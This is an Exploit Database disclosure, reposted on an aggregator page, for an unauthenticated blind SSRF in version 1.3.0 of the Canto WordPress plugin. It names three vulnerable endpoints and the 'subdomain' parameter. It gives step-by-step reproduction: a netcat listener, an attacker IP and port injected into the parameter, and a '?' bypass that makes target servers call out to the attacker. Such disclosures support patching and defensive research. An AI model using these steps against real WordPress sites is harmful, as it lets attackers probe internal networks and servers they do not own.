WordPress Plugin Canto 1.3.0 – Blind SSRF (Unauthenticated)

• Exploit Database
• 19 阅读

• 作者： Pankaj Verma
  日期： 2020-12-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49189/

• # Exploit Title: WordPress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
  # Date: 03/12/2020
  # Exploit Author: Pankaj Verma (_p4nk4j)
  # Vendor Homepage: https://www.canto.com/integrations/wordpress/
  # Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
  # Version: 1.3.0
  # Tested on: Ubuntu 18.04
  # CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978
  
  
  Description:-
  The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
  It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.
  
  Vulnerable Parameters and Endpoints:-
  https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
  https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
  https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=
  
  Steps To Reproduce:-
  1. Start a Netcat Listener on any port For e.g. 4499
  2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
  3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
  4. Observe the response we got from the Target on Attacker's Listener.
  
  Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.